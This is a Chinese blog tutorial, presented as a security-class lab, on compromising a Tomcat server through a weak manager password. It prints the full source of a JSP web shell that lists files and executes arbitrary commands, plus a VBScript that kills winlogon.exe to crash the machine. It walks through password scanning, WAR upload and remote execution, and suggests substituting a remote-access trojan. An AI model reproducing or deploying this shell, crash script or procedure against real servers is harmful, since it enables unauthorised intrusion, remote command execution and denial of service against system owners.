百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

服务器弱口令漏洞上传木马攻击实验

suiw9 2024-11-11 15:52 33 浏览 0 评论

欢迎搜索公众号:白帽子左一

每天分享更多黑客技能,工具及体系化视频教程(免费领)

说在前面

早期Tomcat服务器上的管理员后台的密码都过于简单如“admin”,“123456”、如此很容易被攻击者利用,并上传木马到服务器上面、从而感染服务器主机。

实验内容

1、在XP系统上搭建Tomcat服务器平台;
2、在另一台虚拟机上利用弱口令漏洞上传木马程序,使得XP系统中木马。

实验步骤

一、搭建Tomcat服务器平台

1.安装JAVAJDK

环境变量的配置:(这里我的JAVA是按照默认安装地址安装的)

JAVA_HOME:C:\Program Files\Java\jdk1.7.0_79


Path:%JAVA_HOME%\bin


CLASSPATH:.%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tool.jar



输入:javac,检查环境变量配置是否成功。


2.安装Apache-Tomcat服务器

将压缩包解压,把整个文件夹拷贝至C盘。(免安装)

添加环境变量:

TOMCAT_HOME:C:\apache-tomcat-6.0.37


进入bin目录,点击startup.bat或者shutdown.bat可以启动或关闭服务器。

若测试不成功,则需添加完整的环境变量。(可选不是必选)


点击startup.exe,启动服务器,在浏览器中输入:http://127.0.0.1:8080/,

若显示如下界面,则服务器启动成功。


二、登录管理员后台

登录管理员后台需要用户名密码,刚开始未设置,我们要自行设置。


首先查看存放用户名密码的文件:在conf文件夹下的tomcat-users.xml,用记事本打开。


将管理员账号添加进去:

<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status"/>


其中各个rolename的含义:



点击保存后重启服务器,回到登录界面,输入用户名密码,即可进入管理员界面:


三、木马制作



Tomcat只支持war的后缀文件包的上传,因此,必须将jsp木马程序与其他木马一起打包成war包才能上传。


在安装有JDK的操作系统上,将所需要上传的木马放在同一个文件夹中,存放到C盘。


这里用到一个s.jsp的木马程序以及V.vbs病毒程序。

这里s.jsp的代码:


<%@ page contentType="text/html;charset=gb2312"%><%[url=home.php?mod=space&uid=157936]@Page[/url] import="java.io.*" %><%@page import="java.util.*"%><style>td,select,input,body{font-size:9pt;}A { TEXT-DECORATION: none }</style><title>Jsp File Manger Version0.5 --bY 慈勤强 [email]cqq1978@Gmail.com[/email]</title><%!String getDrivers()/**Windows系统上取得可用的所有逻辑盘**/{StringBuffer sb=new StringBuffer("驱动器 : ");File roots[]=File.listRoots();for(int i=0;i<roots.length;i++){sb.append("<a href='?path="+roots[i]+"'>");sb.append(roots[i]+"</a> ");}return sb.toString();}%><%String strThisFile="folder.jsp";request.setCharacterEncoding("gb2312");String strDir = request.getParameter("path"); if(strDir==null||strDir.length()<1){strDir = "c:\\";}StringBuffer sb=new StringBuffer("");StringBuffer sbFile=new StringBuffer("");try{out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录:<b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");File objFile = new File(strDir);File list[] = objFile.listFiles();if(objFile.getAbsolutePath().length()>3){sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n");}for(int i=0;i<list.length;i++){if(list[i].isDirectory()){sb.append("<tr><td > </td><td>");sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");sb.append("</td></tr>");//sb.append("</td></tr></table>\r\n");}else{String strLen="";String strDT="";long lFile=0;lFile=list[i].length(); if(lFile>1000000){lFile=lFile/1000000;strLen="" + lFile + " M";}else if(lFile>1000){lFile=lFile/1000;strLen="" + lFile + " K";}else{strLen="" + lFile + " Byte";}Date dt=new Date(list[i].lastModified());strDT=dt.toLocaleString();sbFile.append("<tr><td>");sbFile.append(""+list[i].getName());sbFile.append("</td><td>");sbFile.append(""+strLen);sbFile.append("</td><td>");sbFile.append(""+strDT);sbFile.append("</td><td>");sbFile.append("<!--修改 删除 下载 复制--> ");sbFile.append("</td></tr>\r\n");//sbFile.append("</td></tr></table>");} }//out.println(sb.toString()+sbFile.toString());}catch(Exception e){out.println("<font color=red>操作失败:"+e.toString()+"</font>");}%> <table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"> <%=sb%></tr></table></td><td width="81%" align="center" valign="top"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF"><tr bgcolor="#E7e7e6"><td width="26%">文件名称</td><td width="19%" align="center">文件大小</td><td width="29%" align="center">修改时间</td><td width="26%" align="center">文件操作</td></tr><%=sbFile%><!-- <tr align="center"><td colspan="4"><br>总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>KB </td></tr>--></table></td></tr></table> <%String strCmd="";String line="";StringBuffer sbCmd=new StringBuffer("");strCmd = request.getParameter("cmd");if(strCmd!=null){try{//out.println(strCmd);Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){sbCmd.append(line+"\r\n");}}catch(Exception e){System.out.println(e.toString());}} %><form name="cmd" action="" method="post"><input type="text" name="cmd" value="<%=strCmd%>" size=50><input type=submit name=submit value="执行"></form><%if(sbCmd!=null && sbCmd.toString().trim().equals("")==false){%><TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA><%}%>


这里V.vbs的代码:


if MsgBox("你是在上网络信息安全的课吗?",vbYesNo,"提示")=vbyes thenmsgbox "你真是在上网络安全课啊,这么好丫!"elsemsgbox "还不承认? 作为惩罚,折腾你一下",64,"严重警告!!!!!!"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if

运行cmd,使用cd命令将目录切换到刚刚存放的c文件夹下:


使用命令将木马程序打包:


jar cvf shell.war *


若提示jar不是内部命令,请回到JDK安装步骤查看环境变量是否配置正确。


成功时的命令提示如下:

四、漏洞入侵


访问目标网站

使用另一台电脑输入以下网址:


http://192.168.41.131:8080/(对应IP地址要改)


访问成功将出现以下界面:


弱口令扫描

打开Apache Tomcat crack软件,界面如下:


设置扫描网段,点击add按钮添加;


点击start按钮开始扫描。


扫描成功将获得口令和密码。



上传木马

利用前面扫描到的口令密码登录管理员网页,将之前做好的war包上传至服务器:





查看木马

在地址栏中输入网址:


http://192.168.41.131:8080/shell/s.jsp


即可看到对方电脑中所有的文件目录:

运行木马

找出之前一并上传的木马文件V.vbs,利用下面的执行功能让其在被害者电脑上运行:


c:\apache-tomcat-6.0.37\webapps\shell\V.vbs -install


此时在被攻击者电脑上会自运行病毒程序,即中病毒了。


也可将病毒用灰鸽子木马替换实现远程控制。

shang'c




点击“否”的话要小心哦,因为电脑会变成“蓝屏”,不过不用怕,其实就蓝屏一会儿就帮你重启啦~


不相信可以返回去看V.vbs的代码哦~

作者:Johnson666

转载自:http://r6e.cn/m3w56

相关推荐

设置文件的默认打开方式(如何设定文件的默认打开方式)

在操作系统中,设置文件的默认打开方式可以让特定类型的文件始终使用你选择的程序打开。以下是Windows和macOS系统中设置默认打开方式的详细步骤:Windows系统方法1:通过文件属性设置右键点...

电脑怎么设置默认浏览器(电脑怎么设置默认浏览器?)

在电脑上设置默认浏览器的步骤因操作系统不同而有所差异。以下是Windows和Mac系统的设置方法:Windows系统方法1:通过系统设置打开“设置”:...

Java接口默认方法:灵活与约束并存

Java接口默认方法:灵活与约束并存在Java编程的世界里,接口作为定义行为规范的重要工具,一直扮演着举足轻重的角色。然而,在Java8引入了默认方法之后,接口的设计和使用方式发生了微妙的变化。今天...

Java8新特性之默认方法:为接口注入灵魂

Java8新特性之默认方法:为接口注入灵魂Java8发布时,它带来的最大创新之一就是接口的默认方法。这就像给一个传统的木偶注入了生命,让它不仅能动还能说话了。今天我们就来聊聊这个让Java开发者欢呼雀...

CentOS系统在不重启的情况下为虚拟机添加新硬盘

一、概述用过虚拟机的都知道,如果在系统运行的时候去给虚拟机添加一块新设备,比如说硬盘,系统是读取不到这个新硬盘的,因为系统在启动的时候会去检测硬件设备。但是我们也可能会遇到这样的情况,比如正在运行比较...

[常用工具] 基于psutil和GPUtil获取系统状态信息

本文主要介绍在Python3中利用psutil库获取系统状态,利用GPUtil获取gpu状态。psutil(processandsystemutilities)(进程和系统实用程序)是一个跨平...

Docker容器内执行宿主机指令(docker执行宿主机shell)

一背景最近项目有个需求,需要程序配置服务器IP并且可以重启服务器。如果程序直接部署在服务器,相信大家都会操作。但是程序是用docker运行的,在docker中执行指令就很麻烦了。...

容器网络调试怎么办?一条命令就搞定!

nsenter命令是一个可以在指定进程的命令空间下运行指定程序的命令。它位于util-linux包中。用途...

linux自动化巡检脚本集(linux服务器巡检内容以及标准)

以下是一个自动化巡检脚本集的制作方案,包含常见系统检查项和可扩展框架,使用Python和Shell脚本实现:...

麒麟KOS|统信UOS系统添加新数据盘
麒麟KOS|统信UOS系统添加新数据盘

原文链接:麒麟KOS|统信UOS系统添加新数据盘...

2025-03-26 16:57 suiw9

Linux CentOS 7 根目录扩容(linux扩展根目录磁盘空间)

一、现状描述现有一台CentOS7的虚拟机,硬盘容量为30GB通过lsblk命令查看分区容量,当前根目录容量为27.5GB左右二、扩容需求...

从Linux底层分析Docker原理(linux docker-compose)

写在前面如果你觉得本人对你有帮助,请你记得评论,点赞,关注;如果你觉得文章还不错请记得收藏,点赞。如果你觉得文章非常的好可以私信我,我会在第一时间回复你。...

CentOS新增硬盘的使用步骤(centos扩展硬盘)

一、查看机器所挂硬盘个数及分区情况,新增硬盘为/dev/sdb...

Python之psutil库简介(python3 pil库)

psutil(pythonsystemandprocessutilities)是一个跨平台的第三方库,能够轻松实现获取系统运行的进程和系统利用率(包扩CPU、内存、磁盘、网络等)信息。它主...

运维,你还不会查看Linux系统cpu信息?

CPU也称为微处理器或简称为处理器。就像大脑如何控制人体一样,CPU控制着计算机的所有部分。因此CPU被认为是计算机的大脑。那我们怎么在Linux系统中查看如IntelCorei3、i5、AM...

取消回复欢迎 发表评论: